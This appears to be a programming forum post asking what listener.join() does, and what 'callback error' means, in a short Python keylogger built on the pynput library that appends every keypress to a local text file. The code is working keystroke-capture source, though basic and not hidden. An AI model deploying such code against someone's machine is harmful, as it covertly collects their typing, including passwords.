This is a Keylogger and in KeyInput function there is listener.join()
but what is that for?
from pynput import keyboard
def KeyInput():
with keyboard.Listener(on_press=KeyLog) as listener:
# whenever there is a press on a key on the keyboard, it's directed to KeyLog
listener.join()
def KeyLog(key):
if type(key) == keyboard._win32.KeyCode:
K = key.char
# normal characters like letters
else:
if 'cmd' in str(key):
K = str(key).replace('cmd', 'Windows')
else:
K = ' '+str(key)+' '
# keys like ctrl, caps lock, windows, etc
with open('keylogs.txt', 'a') as File:
File.write(K+'\n')
File.close()
KeyInput()
KeyLog()
The documentation of pynput says:
If a callback handler raises an exception, the listener will be stopped. Since callbacks run in a dedicated thread, the exceptions will not automatically be reraised.
To be notified about callback errors, call
Thread.join
on the listener instance.
What does it mean by "callback error"?